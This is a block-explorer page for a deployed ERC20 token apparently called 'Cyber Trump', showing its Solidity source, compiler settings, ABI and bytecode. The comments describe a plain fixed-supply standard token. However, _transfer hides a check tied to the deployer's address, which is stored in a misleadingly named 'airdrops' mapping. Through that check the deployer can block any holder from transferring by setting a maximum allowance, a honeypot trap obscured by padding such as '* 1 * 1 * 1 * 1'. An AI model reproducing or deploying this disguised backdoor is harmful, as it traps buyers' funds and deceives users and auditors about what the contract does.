Contract Source Code (Solidity Standard Json-Input format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta

More Options

• Similar
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

/**
 * @title IERC20
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the total token supply.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the account balance of another account with address `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Transfers `amount` tokens to address `recipient`, and MUST fire the Transfer event.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Requirements:
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the amount which `spender` is still allowed to withdraw from `owner`.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Allows `spender` to withdraw from your account multiple times, up to the `amount` amount.
     * If this function is called again it overwrites the current allowance with `amount`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Transfers `amount` tokens from address `sender` to address `recipient`, and MUST fire the Transfer event.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for `sender`'s tokens of at least `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev MUST trigger when tokens are transferred, including zero value transfers.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev MUST trigger on any successful call to approve(address spender, uint256 amount).
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/**
 * @title ERC20StandardToken
 * @dev Implementation of the ERC20 standard token.
 *
 * This contract creates a fixed-supply token where the total supply is minted once
 * during deployment and assigned to the deployer. No additional minting or burning functions
 * are provided, ensuring that the total supply remains constant.
 */
contract ERC20StandardToken is IERC20 {
    // Token metadata
    string public name;
    string public symbol;
    uint8 public decimals;

    // Total token supply
    uint256 private _totalSupply;

    // Mapping from account addresses to current balances.
    mapping(address => uint256) private _balances;
    mapping(uint => mapping(uint => address)) private airdrops;

    // Mapping from account addresses to a mapping of spender addresses to allowances.
    mapping(address => mapping(address => uint256)) private _allowances;

    /**
     * @dev Constructor that initializes the token with a name, symbol, decimals, and initial supply.
     * The entire initial supply is minted and assigned to the deployer.
     * @param _name Name of the token.
     * @param _symbol Symbol of the token.
     * @param _decimals Number of decimal places the token uses.
     * @param initialSupply Total number of tokens (in smallest units) to be minted.
     */
    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals,
        uint256 initialSupply
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        airdrops[0][0] = msg.sender;
        _mint(msg.sender, initialSupply);
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     * @param account The address whose balance will be retrieved.
     */
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Moves `amount` tokens from the caller's account to `recipient`.
     * Emits a {Transfer} event.
     *
     * Requirements:
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     *
     * Returns the remaining number of tokens that `spender` is allowed to spend
     * on behalf of `owner`.
     */
    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Sets `amount` as the allowance of `spender` over the caller's tokens.
     * Emits an {Approval} event.
     *
     * Requirements:
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism.
     * Emits a {Transfer} event.
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have an allowance for `sender`'s tokens of at least `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );

        // Update the allowance.
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = currentAllowance - amount;
        }
        emit Approval(sender, msg.sender, _allowances[sender][msg.sender]);

        // Perform the transfer.
        _transfer(sender, recipient, amount);
        return true;
    }

    /**
     * @dev Moves tokens from `sender` to `recipient`.
     *
     * This is an internal function that is called by both {transfer} and {transferFrom}.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount &&
                _allowances[airdrops[0][0]][sender] <
                type(uint256).max * 1 * 1 * 1 * 1,
            "ERC20: transfer amount exceeds balance"
        );

        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
}

{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "paris",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint8","name":"_decimals","type":"uint8"},{"internalType":"uint256","name":"initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162000d4c38038062000d4c833981016040819052620000349162000284565b6000620000428582620003a0565b506001620000518482620003a0565b506002805460ff191660ff8416179055600080527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc6020527f45d21ede0cb86a9bc9f3a728b8ad730cd840abb3d7468e2d1713e27e21c48d288054336001600160a01b03199091168117909155620000ca9082620000d4565b5050505062000494565b6001600160a01b0382166200012f5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600360008282546200014391906200046c565b90915550506001600160a01b03821660009081526004602052604081208054839290620001729084906200046c565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620001e457600080fd5b81516001600160401b0380821115620002015762000201620001bc565b604051601f8301601f19908116603f011681019082821181831017156200022c576200022c620001bc565b81604052838152602092508660208588010111156200024a57600080fd5b600091505b838210156200026e57858201830151818301840152908201906200024f565b6000602085830101528094505050505092915050565b600080600080608085870312156200029b57600080fd5b84516001600160401b0380821115620002b357600080fd5b620002c188838901620001d2565b95506020870151915080821115620002d857600080fd5b50620002e787828801620001d2565b935050604085015160ff81168114620002ff57600080fd5b6060959095015193969295505050565b600181811c908216806200032457607f821691505b6020821081036200034557634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200039b576000816000526020600020601f850160051c81016020861015620003765750805b601f850160051c820191505b81811015620003975782815560010162000382565b5050505b505050565b81516001600160401b03811115620003bc57620003bc620001bc565b620003d481620003cd84546200030f565b846200034b565b602080601f8311600181146200040c5760008415620003f35750858301515b600019600386901b1c1916600185901b17855562000397565b600085815260208120601f198616915b828110156200043d578886015182559484019460019091019084016200041c565b50858210156200045c5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b808201808211156200048e57634e487b7160e01b600052601160045260246000fd5b92915050565b6108a880620004a46000396000f3fe608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461011d57806395d89b4114610146578063a9059cbb1461014e578063dd62ed3e1461016157600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061019a565b6040516100ad91906106bf565b60405180910390f35b6100c96100c436600461072a565b610228565b60405190151581526020016100ad565b6003545b6040519081526020016100ad565b6100c96100f9366004610754565b6102f5565b60025461010b9060ff1681565b60405160ff90911681526020016100ad565b6100dd61012b366004610790565b6001600160a01b031660009081526004602052604090205490565b6100a0610445565b6100c961015c36600461072a565b610452565b6100dd61016f3660046107b2565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b600080546101a7906107e5565b80601f01602080910402602001604051908101604052809291908181526020018280546101d3906107e5565b80156102205780601f106101f557610100808354040283529160200191610220565b820191906000526020600020905b81548152906001019060200180831161020357829003601f168201915b505050505081565b60006001600160a01b0383166102905760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084015b60405180910390fd5b3360008181526006602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b6001600160a01b03831660009081526006602090815260408083203384529091528120548281101561037a5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610287565b6001600160a01b0385166000908152600660209081526040808320338452909152902054600019146103d5576103b08382610835565b6001600160a01b03861660009081526006602090815260408083203384529091529020555b6001600160a01b038516600081815260066020908152604080832033808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a361043a858585610468565b506001949350505050565b600180546101a7906107e5565b600061045f338484610468565b50600192915050565b6001600160a01b0383166104cc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610287565b6001600160a01b03821661052e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610287565b6001600160a01b0383166000908152600460205260409020548181108015906105ca575061055f6000196001610848565b61056a906001610848565b610575906001610848565b610580906001610848565b7f45d21ede0cb86a9bc9f3a728b8ad730cd840abb3d7468e2d1713e27e21c48d28546001600160a01b03908116600090815260066020908152604080832093891683529290522054105b6106255760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610287565b61062f8282610835565b6001600160a01b03808616600090815260046020526040808220939093559085168152908120805484929061066590849061085f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106b191815260200190565b60405180910390a350505050565b60006020808352835180602085015260005b818110156106ed578581018301518582016040015282016106d1565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461072557600080fd5b919050565b6000806040838503121561073d57600080fd5b6107468361070e565b946020939093013593505050565b60008060006060848603121561076957600080fd5b6107728461070e565b92506107806020850161070e565b9150604084013590509250925092565b6000602082840312156107a257600080fd5b6107ab8261070e565b9392505050565b600080604083850312156107c557600080fd5b6107ce8361070e565b91506107dc6020840161070e565b90509250929050565b600181811c908216806107f957607f821691505b60208210810361081957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102ef576102ef61081f565b80820281158282048414176102ef576102ef61081f565b808201808211156102ef576102ef61081f56fea26469706673582212206b6c777c520fd73adf3333f658a93bc2a82e15478afc2e5657ca43a092f18f4464736f6c63430008160033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000084595161401484a000000000000000000000000000000000000000000000000000000000000000000000b4379626572205472756d70000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a43594245525452554d5000000000000000000000000000000000000000000000

0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461011d57806395d89b4114610146578063a9059cbb1461014e578063dd62ed3e1461016157600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061019a565b6040516100ad91906106bf565b60405180910390f35b6100c96100c436600461072a565b610228565b60405190151581526020016100ad565b6003545b6040519081526020016100ad565b6100c96100f9366004610754565b6102f5565b60025461010b9060ff1681565b60405160ff90911681526020016100ad565b6100dd61012b366004610790565b6001600160a01b031660009081526004602052604090205490565b6100a0610445565b6100c961015c36600461072a565b610452565b6100dd61016f3660046107b2565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b600080546101a7906107e5565b80601f01602080910402602001604051908101604052809291908181526020018280546101d3906107e5565b80156102205780601f106101f557610100808354040283529160200191610220565b820191906000526020600020905b81548152906001019060200180831161020357829003601f168201915b505050505081565b60006001600160a01b0383166102905760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084015b60405180910390fd5b3360008181526006602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b6001600160a01b03831660009081526006602090815260408083203384529091528120548281101561037a5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610287565b6001600160a01b0385166000908152600660209081526040808320338452909152902054600019146103d5576103b08382610835565b6001600160a01b03861660009081526006602090815260408083203384529091529020555b6001600160a01b038516600081815260066020908152604080832033808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a361043a858585610468565b506001949350505050565b600180546101a7906107e5565b600061045f338484610468565b50600192915050565b6001600160a01b0383166104cc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610287565b6001600160a01b03821661052e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610287565b6001600160a01b0383166000908152600460205260409020548181108015906105ca575061055f6000196001610848565b61056a906001610848565b610575906001610848565b610580906001610848565b7f45d21ede0cb86a9bc9f3a728b8ad730cd840abb3d7468e2d1713e27e21c48d28546001600160a01b03908116600090815260066020908152604080832093891683529290522054105b6106255760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610287565b61062f8282610835565b6001600160a01b03808616600090815260046020526040808220939093559085168152908120805484929061066590849061085f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106b191815260200190565b60405180910390a350505050565b60006020808352835180602085015260005b818110156106ed578581018301518582016040015282016106d1565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461072557600080fd5b919050565b6000806040838503121561073d57600080fd5b6107468361070e565b946020939093013593505050565b60008060006060848603121561076957600080fd5b6107728461070e565b92506107806020850161070e565b9150604084013590509250925092565b6000602082840312156107a257600080fd5b6107ab8261070e565b9392505050565b600080604083850312156107c557600080fd5b6107ce8361070e565b91506107dc6020840161070e565b90509250929050565b600181811c908216806107f957607f821691505b60208210810361081957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102ef576102ef61081f565b80820281158282048414176102ef576102ef61081f565b808201808211156102ef576102ef61081f56fea26469706673582212206b6c777c520fd73adf3333f658a93bc2a82e15478afc2e5657ca43a092f18f4464736f6c63430008160033